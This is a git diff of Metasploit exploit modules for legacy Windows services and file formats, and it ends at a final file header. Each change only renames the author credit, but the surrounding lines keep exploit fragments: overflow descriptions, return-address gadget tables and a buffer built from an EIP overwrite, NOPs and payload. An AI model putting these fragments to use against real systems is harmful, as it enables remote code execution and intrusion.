diff --git a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb
index 96b65bd1db..aa87e926cc 100644
--- a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb
+++ b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
         to execute arbitrary code.
       },
       'License'        => MSF_LICENSE,
-      'Author'         => 'patrick',
+      'Author'         => 'aushack',
       'References'     =>
         [
           [ 'CVE', '2008-1724' ],
diff --git a/modules/exploits/windows/fileformat/altap_salamander_pdb.rb b/modules/exploits/windows/fileformat/altap_salamander_pdb.rb
index c3ff5b9188..76ccd754cc 100644
--- a/modules/exploits/windows/fileformat/altap_salamander_pdb.rb
+++ b/modules/exploits/windows/fileformat/altap_salamander_pdb.rb
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
           SEH can be overwritten.
       },
       'License'        => MSF_LICENSE,
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'References'     =>
         [
           [ 'CVE', '2007-3314' ],
diff --git a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb
index 7d9eca857b..ca7da918ed 100644
--- a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb
+++ b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb
@@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform' => 'win',
       'Targets'        =>
         [
-          # Tested ok patrickw 20090503
+          # Tested ok aushack 20090503
           [ 'Windows XP SP2 English', 	{ 'Ret' => 0x7c82385d } ], #call esp
           [ 'Windows XP SP0/1 English', 	{ 'Ret' => 0x71ab7bfb } ], #jmp esp
           [ 'Windows XP SP2 Spanish',	{ 'Ret' => 0x7c951eed } ], #jmp esp
diff --git a/modules/exploits/windows/fileformat/destinymediaplayer16.rb b/modules/exploits/windows/fileformat/destinymediaplayer16.rb
index aa3f6a2b21..5a9eccf641 100644
--- a/modules/exploits/windows/fileformat/destinymediaplayer16.rb
+++ b/modules/exploits/windows/fileformat/destinymediaplayer16.rb
@@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform' => 'win',
       'Targets'        =>
         [
-          # Tested ok patrickw 20090503
+          # Tested ok aushack 20090503
           [ 'Destiny Universal', { 'Ret' => 0x00bf9d4d } ], #jmp esp Destiny.exe
           [ 'Windows XP SP2 Spanish', { 'Ret' => 0x7c951eed } ], #jmp esp
         ],
diff --git a/modules/exploits/windows/fileformat/ursoft_w32dasm.rb b/modules/exploits/windows/fileformat/ursoft_w32dasm.rb
index 6fc3454f39..defdb3b3c4 100644
--- a/modules/exploits/windows/fileformat/ursoft_w32dasm.rb
+++ b/modules/exploits/windows/fileformat/ursoft_w32dasm.rb
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
         locally as the user.
       },
       'License'        => MSF_LICENSE,
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'References'     =>
         [
           [ 'CVE', '2005-0308' ],
diff --git a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb
index 39b8b166cf..a145c7c5d9 100644
--- a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb
+++ b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
         This functionality has not been tested in this module.
       },
       'License'        => MSF_LICENSE,
-      'Author'         => [ 'Trancek <trancek[at]yashira.org>', 'patrick' ],
+      'Author'         => [ 'Trancek <trancek[at]yashira.org>', 'aushack' ],
       'References'     =>
         [
           [ 'CVE', '2004-0964' ],
diff --git a/modules/exploits/windows/ftp/dreamftp_format.rb b/modules/exploits/windows/ftp/dreamftp_format.rb
index e959770970..9b17090505 100644
--- a/modules/exploits/windows/ftp/dreamftp_format.rb
+++ b/modules/exploits/windows/ftp/dreamftp_format.rb
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a format string overflow in the BolinTech
         Dream FTP Server version 1.02. Based on the exploit by SkyLined.
       },
-      'Author' 		=> [ 'patrick' ],
+      'Author' 		=> [ 'aushack' ],
       'Arch'		=> [ ARCH_X86 ],
       'License'        	=> MSF_LICENSE,
       'References'     =>
diff --git a/modules/exploits/windows/ftp/leapftp_pasv_reply.rb b/modules/exploits/windows/ftp/leapftp_pasv_reply.rb
index f277033c1b..d0ddeeafdc 100644
--- a/modules/exploits/windows/ftp/leapftp_pasv_reply.rb
+++ b/modules/exploits/windows/ftp/leapftp_pasv_reply.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         client that is triggered through an excessively long PASV reply command. This
         module was ported from the original exploit by drG4njubas with minor improvements.
       },
-      'Author' 	 => [ 'patrick' ],
+      'Author' 	 => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/windows/ftp/sami_ftpd_user.rb b/modules/exploits/windows/ftp/sami_ftpd_user.rb
index 4204a62eb2..8b37f12ff1 100644
--- a/modules/exploits/windows/ftp/sami_ftpd_user.rb
+++ b/modules/exploits/windows/ftp/sami_ftpd_user.rb
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
         payloads. When the server is restarted, it will re-execute the exploit until
         the logfile is manually deleted via the file system.
       },
-      'Author'	=> [ 'patrick' ],
+      'Author'	=> [ 'aushack' ],
       'Arch'		=> [ ARCH_X86 ],
       'License'	=> MSF_LICENSE,
       'Stance'	=> Msf::Exploit::Stance::Passive,
diff --git a/modules/exploits/windows/ftp/sasser_ftpd_port.rb b/modules/exploits/windows/ftp/sasser_ftpd_port.rb
index ab320aef43..84fe672be6 100644
--- a/modules/exploits/windows/ftp/sasser_ftpd_port.rb
+++ b/modules/exploits/windows/ftp/sasser_ftpd_port.rb
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits the FTP server component of the Sasser worm.
         By sending an overly long PORT command the stack can be overwritten.
       },
-      'Author'	=> [ '<valsmith[at]metasploit.com>', '<chamuco[at]gmail.com>', 'patrick' ],
+      'Author'	=> [ '<valsmith[at]metasploit.com>', '<chamuco[at]gmail.com>', 'aushack' ],
       'Arch'		=> [ ARCH_X86 ],
       'License'	=> MSF_LICENSE,
       'References'	=>
diff --git a/modules/exploits/windows/games/racer_503beta5.rb b/modules/exploits/windows/games/racer_503beta5.rb
index ff545f49f5..f2834618a5 100644
--- a/modules/exploits/windows/games/racer_503beta5.rb
+++ b/modules/exploits/windows/games/racer_503beta5.rb
@@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform'       => 'win',
       'Targets'        =>
         [
-          # Tested ok patrickw 20090503
+          # Tested ok aushack 20090503
           [ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp
           [ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],
           [ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],
diff --git a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb
index cd2e6f4fc4..f0624a4f82 100644
--- a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb
+++ b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
         In addition, it is possible to overwrite EIP by specifying
         an arbitrary parameter name with an '=' terminator.
       },
-      'Author'       => [ 'patrick' ],
+      'Author'       => [ 'aushack' ],
       'Arch'         => [ ARCH_X86 ],
       'License'      => MSF_LICENSE,
       'References'   =>
@@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform' => ['win'],
       'Targets'  =>
         [
-          # patrickw - Tested OK 20100803 w2k IIS5
+          # aushack - Tested OK 20100803 w2k IIS5
           [ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll - 'dll?app={buff}' for SeH IIS5
           # [ 'Windows 2003 Server All - English', { 'Ret' => 0x44434241 } ], # todo: 'dll?{buff}=' call edi for EIP in IIS6 w3wp.exe, 120 byte limit, ASCII only.
         ],
diff --git a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb
index 4a77dae4ed..38643b7738 100644
--- a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb
+++ b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
         The flaw affects multiple platforms, however this module currently
         only supports Windows based installations.
       },
-      'Author'         => 'patrick',
+      'Author'         => 'aushack',
       'References'     =>
         [
           [ 'CVE', '2006-3747' ],
@@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote
         },
       'Targets'        =>
         [
-          [  'Automatic', {} ], # patrickw tested OK 20090310 win32
+          [  'Automatic', {} ], # aushack tested OK 20090310 win32
         ],
       'DisclosureDate' => 'Jul 28 2006',
       'DefaultTarget'  => 0))
@@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
 
     # On Linux Apache, it is possible to overwrite EIP by
-    # sending ldap://<buf> ... TODO patrickw
+    # sending ldap://<buf> ... TODO aushack
 
     trigger = '/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90'
 
diff --git a/modules/exploits/windows/http/ca_igateway_debug.rb b/modules/exploits/windows/http/ca_igateway_debug.rb
index 16a5c8fb8a..415ef02818 100644
--- a/modules/exploits/windows/http/ca_igateway_debug.rb
+++ b/modules/exploits/windows/http/ca_igateway_debug.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
         in igateway.conf (non-default), it is possible to overwrite the stack
         and execute code remotely. This module works best with Ordinal payloads.
       },
-      'Author'         => 'patrick',
+      'Author'         => 'aushack',
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/windows/http/mcafee_epolicy_source.rb b/modules/exploits/windows/http/mcafee_epolicy_source.rb
index de2bc48208..cde280d027 100644
--- a/modules/exploits/windows/http/mcafee_epolicy_source.rb
+++ b/modules/exploits/windows/http/mcafee_epolicy_source.rb
@@ -24,7 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote
           'muts <muts[at]remote-exploit.org>',
           'xbxice[at]yahoo.com',
           'hdm',
-          'patrick' # MSF3 rewrite, ePO v2.5.1 target
+          'aushack' # MSF3 rewrite, ePO v2.5.1 target
         ],
       'Arch'		=> [ ARCH_X86 ],
       'License'	=> MSF_LICENSE,
diff --git a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb
index 6e2d330a1f..3bd9a08880 100644
--- a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb
+++ b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb
@@ -26,7 +26,7 @@ class MetasploitModule < Msf::Exploit::Remote
       continue to crash/execute the payload until the CGI output is manually deleted
       from the queue in C:\MDaemon\RawFiles\*.raw.
       },
-      'Author' 	=> [ 'patrick' ],
+      'Author' 	=> [ 'aushack' ],
       'Arch'		=> [ ARCH_X86 ],
       'License'       => MSF_LICENSE,
       'References'    =>
@@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform' => ['win'],
       'Targets'  =>
       [
-        # Patrickw - Tested OK-ish 20090702 w2k
+        # Aushack - Tested OK-ish 20090702 w2k
         [ 'Universal MDaemon.exe', 	{ 'Ret' => 0x022fcd46 } ], # direct memory jump :(
         [ 'Debugging test',		{ 'Ret' => 0x44434241 } ],
       ],
diff --git a/modules/exploits/windows/http/psoproxy91_overflow.rb b/modules/exploits/windows/http/psoproxy91_overflow.rb
index 612eae53d7..531044e687 100644
--- a/modules/exploits/windows/http/psoproxy91_overflow.rb
+++ b/modules/exploits/windows/http/psoproxy91_overflow.rb
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
         This module exploits a buffer overflow in the PSO Proxy v0.91 web server.
         If a client sends an excessively long string the stack is overwritten.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/windows/http/sambar6_search_results.rb b/modules/exploits/windows/http/sambar6_search_results.rb
index 55442c2e0a..403a65471b 100644
--- a/modules/exploits/windows/http/sambar6_search_results.rb
+++ b/modules/exploits/windows/http/sambar6_search_results.rb
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Author' 	=> 	[
           'hdm',
           'Andrew Griffiths <andrewg[at]felinemenace.org>',
-          'patrick', # msf3 port
+          'aushack', # msf3 port
             ],
       'Arch'		=> [ ARCH_X86 ],
       'License'       => MSF_LICENSE,
diff --git a/modules/exploits/windows/http/savant_31_overflow.rb b/modules/exploits/windows/http/savant_31_overflow.rb
index 9225f81aea..03ee643d42 100644
--- a/modules/exploits/windows/http/savant_31_overflow.rb
+++ b/modules/exploits/windows/http/savant_31_overflow.rb
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
         Due to the limited space available for the payload in this exploit module, use of the
         "ord" payloads is recommended.
       },
-      'Author'      => [ 'patrick' ],
+      'Author'      => [ 'aushack' ],
       'Arch'		  => [ ARCH_X86 ],
       'License'     => MSF_LICENSE,
       'References'  =>
diff --git a/modules/exploits/windows/http/steamcast_useragent.rb b/modules/exploits/windows/http/steamcast_useragent.rb
index 5f5ea78a9b..c8a20e5c1a 100644
--- a/modules/exploits/windows/http/steamcast_useragent.rb
+++ b/modules/exploits/windows/http/steamcast_useragent.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
       },
       'Author'         => 	[
               'LSO <lso[at]hushmail.com>', # Original exploit module
-              'patrick' # Added references and check code. Default target to XP.
+              'aushack' # Added references and check code. Default target to XP.
             ],
       'License'        => BSD_LICENSE,
       'References'     =>
diff --git a/modules/exploits/windows/http/webster_http.rb b/modules/exploits/windows/http/webster_http.rb
index 4c89c20b47..1b08baab9a 100644
--- a/modules/exploits/windows/http/webster_http.rb
+++ b/modules/exploits/windows/http/webster_http.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
           the Microsoft Systems Journal in February 1996 titled "Write a
           Simple HTTP-based Server Using MFC and Windows Sockets".
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'References'     =>
         [
           [ 'CVE', '2002-2268' ],
diff --git a/modules/exploits/windows/http/xitami_if_mod_since.rb b/modules/exploits/windows/http/xitami_if_mod_since.rb
index a324b930cf..0c0fdd8874 100644
--- a/modules/exploits/windows/http/xitami_if_mod_since.rb
+++ b/modules/exploits/windows/http/xitami_if_mod_since.rb
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
         execute a payload remotely. Due to size constraints, this module uses
         the Egghunter technique.
       },
-      'Author' 	=> 'patrick',
+      'Author' 	=> 'aushack',
       'License'       => MSF_LICENSE,
       'References'    =>
       [
diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb
index 77cc0768a0..d7d86800cb 100644
--- a/modules/exploits/windows/iis/ms02_065_msadc.rb
+++ b/modules/exploits/windows/iis/ms02_065_msadc.rb
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
           the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
           Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
       },
-      'Author'      => 'patrick',
+      'Author'      => 'aushack',
       'Platform'    => 'win',
       'References'  =>
         [
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
         },
       'Targets'     =>
         [
-          # patrickw tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0
+          # aushack tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0
           [ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll
         ],
       'DefaultTarget'  => 0,
diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb
index 44c1b79239..8a2b21a780 100644
--- a/modules/exploits/windows/iis/msadc.rb
+++ b/modules/exploits/windows/iis/msadc.rb
@@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote
           and useful for debugging. Also set NAME to obtain the remote hostname,
           and METHOD to use the alternative VbBusObj technique.
       },
-      'Author'         => 'patrick',
+      'Author'         => 'aushack',
       'Platform'       => 'win',
       'References'     =>
         [
@@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
         ],
       'Targets'        =>
         [
-          # patrickw tested meterpreter OK 20120601
+          # aushack tested meterpreter OK 20120601
           # nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx
           # w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp
           [ 'Automatic', { } ],
diff --git a/modules/exploits/windows/imap/mdaemon_fetch.rb b/modules/exploits/windows/imap/mdaemon_fetch.rb
index 09e84297c5..f7eac8768d 100644
--- a/modules/exploits/windows/imap/mdaemon_fetch.rb
+++ b/modules/exploits/windows/imap/mdaemon_fetch.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
         account credentials are required. Credit to Matteo Memelli
       },
-      'Author'         => [ 'Jacopo Cervini', 'patrick' ],
+      'Author'         => [ 'Jacopo Cervini', 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/windows/isapi/ms00_094_pbserver.rb b/modules/exploits/windows/isapi/ms00_094_pbserver.rb
index f44d9df234..57ce6b7704 100644
--- a/modules/exploits/windows/isapi/ms00_094_pbserver.rb
+++ b/modules/exploits/windows/isapi/ms00_094_pbserver.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         for phone book updates, it is possible to overwrite the stack. This
         module has only been tested against Windows 2000 SP1.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/windows/ldap/pgp_keyserver7.rb b/modules/exploits/windows/ldap/pgp_keyserver7.rb
index 20bccce385..c30ce6ec7a 100644
--- a/modules/exploits/windows/ldap/pgp_keyserver7.rb
+++ b/modules/exploits/windows/ldap/pgp_keyserver7.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
           against PGP KeyServer v7.0. Due to space restrictions, egghunter is
           used to find our payload - therefore you may wish to adjust WfsDelay.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/windows/license/calicclnt_getconfig.rb b/modules/exploits/windows/license/calicclnt_getconfig.rb
index 48533a760f..8307bc591c 100644
--- a/modules/exploits/windows/license/calicclnt_getconfig.rb
+++ b/modules/exploits/windows/license/calicclnt_getconfig.rb
@@ -26,7 +26,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Author' =>
         [
           'hdm', # original msf v2 module
-          'patrick', # msf v3 port :)
+          'aushack', # msf v3 port :)
         ],
       'License' => MSF_LICENSE,
       'References'	=>
@@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote
           # name, jmp esi, writable, jmp edi
           #['Automatic', {} ],
           #
-          # patrickw - tested OK Windows XP English SP0-1 only 20100214
+          # aushack - tested OK Windows XP English SP0-1 only 20100214
           ['Windows 2000 English',	{ 'Rets' => [ 0x750217ae, 0x7ffde0cc, 0x75021421 ] } ], # ws2help.dll esi + peb + edi
           ['Windows XP English SP0-1',	{ 'Rets' => [ 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8 ] } ], # ws2help.dll esi + peb + edi
           ['Windows XP English SP2',	{ 'Rets' => [ 0x71aa1b22, 0x71aa5001, 0x71aa1e08 ] } ], # ws2help.dll esi + .data + edi
diff --git a/modules/exploits/windows/license/calicserv_getconfig.rb b/modules/exploits/windows/license/calicserv_getconfig.rb
index fefa2db5e5..c73b69a518 100644
--- a/modules/exploits/windows/license/calicserv_getconfig.rb
+++ b/modules/exploits/windows/license/calicserv_getconfig.rb
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Author' =>
         [
           'hdm', # original msf v2 module
-          'patrick', # msf v3 port :)
+          'aushack', # msf v3 port :)
         ],
       'License' => MSF_LICENSE,
       'References'	=>
@@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote
           # name, jmp esi, writable, jmp edi
           #['Automatic', {} ],
           #
-          # patrickw - tested OK Windows XP English SP0-1 only 20100214
+          # aushack - tested OK Windows XP English SP0-1 only 20100214
           ['Windows 2000 English',	{ 'Rets' => [ 0x750217ae, 0x7ffde0cc, 0x75021421 ] } ], # ws2help.dll esi + peb + edi
           ['Windows XP English SP0-1',	{ 'Rets' => [ 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8 ] } ], # ws2help.dll esi + peb + edi
           ['Windows XP English SP2',	{ 'Rets' => [ 0x71aa1b22, 0x71aa5001, 0x71aa1e08 ] } ], # ws2help.dll esi + .data + edi
diff --git a/modules/exploits/windows/lotus/domino_sametime_stmux.rb b/modules/exploits/windows/lotus/domino_sametime_stmux.rb
index 18b58de464..fe21cba6fd 100644
--- a/modules/exploits/windows/lotus/domino_sametime_stmux.rb
+++ b/modules/exploits/windows/lotus/domino_sametime_stmux.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         STMux.exe service we are able to overwrite SEH. Based on the exploit
         by Manuel Santamarina Suarez.
       },
-      'Author'		   => [ 'patrick', 'riaf <riaf[at]mysec.org>' ],
+      'Author'		   => [ 'aushack', 'riaf <riaf[at]mysec.org>' ],
       'Arch'			=> [ ARCH_X86 ],
       'License'		=> MSF_LICENSE,
       'References'	=>
diff --git a/modules/exploits/windows/misc/bigant_server_250.rb b/modules/exploits/windows/misc/bigant_server_250.rb
index 9d7d4f04f9..7a08aeab65 100644
--- a/modules/exploits/windows/misc/bigant_server_250.rb
+++ b/modules/exploits/windows/misc/bigant_server_250.rb
@@ -47,8 +47,8 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform'       => 'win',
       'Targets'        =>
         [
-          [ 'BigAnt 2.5 Universal',		{ 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & patrickw) p/p/r VBAJET32.dll xpsp3 & w2k
-          [ 'Windows 2000 Pro All English',   	{ 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (patrickw 20090918)
+          [ 'BigAnt 2.5 Universal',		{ 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & aushack) p/p/r VBAJET32.dll xpsp3 & w2k
+          [ 'Windows 2000 Pro All English',   	{ 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (aushack 20090918)
           [ 'Windows XP Pro SP0/SP1 English', 	{ 'Ret' => 0x71aa32ad } ], # Should Work
         ],
       'DefaultTarget'  => 0,
diff --git a/modules/exploits/windows/misc/mirc_privmsg_server.rb b/modules/exploits/windows/misc/mirc_privmsg_server.rb
index 57b83c5aef..4c99de4196 100644
--- a/modules/exploits/windows/misc/mirc_privmsg_server.rb
+++ b/modules/exploits/windows/misc/mirc_privmsg_server.rb
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
         command can be sent, overwriting the stack. Due to size restrictions, ordinal payloads
         may be necessary. This module is based on the code by SkD.
       },
-      'Author' 	 => [ 'patrick' ],
+      'Author' 	 => [ 'aushack' ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/windows/misc/netcat110_nt.rb b/modules/exploits/windows/misc/netcat110_nt.rb
index 0d01d60312..2244acfbef 100644
--- a/modules/exploits/windows/misc/netcat110_nt.rb
+++ b/modules/exploits/windows/misc/netcat110_nt.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
           exists when netcat is used to bind (-e) an executable to a port in doexec.c.
           This module tested successfully using "c:\>nc -L -p 31337 -e ftp".
         },
-      'Author'       => 'patrick',
+      'Author'       => 'aushack',
       'Arch'			=> [ ARCH_X86 ],
       'License'		=> MSF_LICENSE,
       'References'	=>
diff --git a/modules/exploits/windows/misc/sap_2005_license.rb b/modules/exploits/windows/misc/sap_2005_license.rb
index 9499a77bd6..48a5aec361 100644
--- a/modules/exploits/windows/misc/sap_2005_license.rb
+++ b/modules/exploits/windows/misc/sap_2005_license.rb
@@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform'       => 'win',
       'Targets'        =>
         [
-          # patrickw tested OK w2k3sp2 20090910
+          # aushack tested OK w2k3sp2 20090910
           [ 'Sap Business One 2005 B1 Universal', { 'Ret' => 0x00547b82 } ], # tao2005.dll push esp /ret
         ],
       'Privileged'     => true,
@@ -54,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     sploit =  "\x47\x49\x4f\x50\x01\x00\x01\x00" + rand_text_english(1024)
     sploit << [target.ret].pack('V') # EIP for w2k3sp2 - jacopo (1024)
-    sploit << [target.ret].pack('V') # EIP for w2k3sp0 - patrickw (1028)
+    sploit << [target.ret].pack('V') # EIP for w2k3sp0 - aushack (1028)
     sploit << make_nops(44) + payload.encoded + make_nops(384)
 
     print_status("Trying target #{target.name}...")
diff --git a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb
index 0071bd5bfc..6f46ad6c69 100644
--- a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb
+++ b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
         Telnet service. The stack is overwritten when sending an overly
         long address to the 'ping' command.
       },
-      'Author' 	=> [ 'patrick' ],
+      'Author' 	=> [ 'aushack' ],
       'Arch'		=> [ ARCH_X86 ],
       'License'       => MSF_LICENSE,
       'References'    =>
diff --git a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb
index 56024b8e49..b497df5113 100644
--- a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb
+++ b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         HTTP proxy service on port 80, a remote attacker could overflow
         a buffer and execute arbitrary code.
       },
-      'Author'         => 'patrick',
+      'Author'         => 'aushack',
       'License'        => MSF_LICENSE,
       'References'     =>
         [
diff --git a/modules/exploits/windows/scada/citect_scada_odbc.rb b/modules/exploits/windows/scada/citect_scada_odbc.rb
index b338f9bff0..76bc660f62 100644
--- a/modules/exploits/windows/scada/citect_scada_odbc.rb
+++ b/modules/exploits/windows/scada/citect_scada_odbc.rb
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Author'         =>
         [
           'KF <kf_lists[at]digitalmunition.com>', # Original Metasploit module
-          'patrick', # Some clean up - I'm sure there's more to be done :)
+          'aushack', # Some clean up - I'm sure there's more to be done :)
         ],
       'References'     =>
         [
diff --git a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb
index 046f18ba69..9fe9b5c6a9 100644
--- a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb
+++ b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits the MailCarrier v2.51 suite SMTP service.
         The stack is overwritten when sending an overly long EHLO command.
       },
-      'Author' 	    => [ 'patrick' ],
+      'Author' 	    => [ 'aushack' ],
       'License'       => MSF_LICENSE,
       'References'    =>
       [
diff --git a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb
index 1ab28acb44..de686297fb 100644
--- a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb
+++ b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Author'         =>
         [
           'hdm', # original module
-          'patrick', # msf3 port :)
+          'aushack', # msf3 port :)
         ],
       'References'     =>
         [
diff --git a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb
index 9bdd4bbdbc..59d6666f17 100644
--- a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb
+++ b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
         Other versions may also be affected. The service terminates after exploitation,
         so you only get one chance!
       },
-      'Author' 	=> [ 'patrick' ],
+      'Author' 	=> [ 'aushack' ],
       'Arch'		=> [ ARCH_X86 ],
       'License'       => MSF_LICENSE,
       'References'    =>
diff --git a/modules/exploits/windows/tftp/attftp_long_filename.rb b/modules/exploits/windows/tftp/attftp_long_filename.rb
index 0df62ca875..b9a3802d91 100644
--- a/modules/exploits/windows/tftp/attftp_long_filename.rb
